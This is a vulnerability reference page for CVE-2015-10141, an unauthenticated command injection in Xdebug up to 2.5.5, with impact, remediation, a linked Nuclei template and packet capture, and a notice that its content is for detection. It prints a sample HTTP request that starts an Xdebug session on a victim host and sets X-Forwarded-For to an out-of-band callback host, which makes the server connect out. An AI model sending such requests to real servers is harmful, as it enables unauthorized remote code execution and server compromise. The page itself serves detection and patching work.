🔙 목록으로 돌아가기

CVE-2015-10141: Xdebug <= 2.5.5 - Command Injection

TitleXdebug <= 2.5.5 - Command Injection
Authorpwnhxl
SeverityCritical
ImpactAttackers can execute arbitrary PHP code and system commands remotely without authentication, leading to complete server compromise.
RemediationDisable remote debugging in production environments or upgrade to Xdebug version 2.6.0 or later with proper authentication controls.
EPSS Score0.57243
CVE IDCVE-2015-10141
CWE IDCWE-78
Tags cve cve2015 oast rce vulhub php debug xdebug intrusive vuln

🔍 Vulnerability Description

Xdebug <= 2.5.5 contains an unauthenticated command injection caused by accepting debugger protocol commands without authentication when remote debugging is enabled, letting remote attackers execute arbitrary PHP code and system commands, exploit requires remote debugging enabled.

🌐 HTTP Request

GET /?XDEBUG_SESSION_START=38Fi6lwiuV5nttELQcM2ouUmytJ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
X-Forwarded-For: d5jql2hle0o48752etl0s9wa9gpwfemuu.oast.online
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-10141.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-10141.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A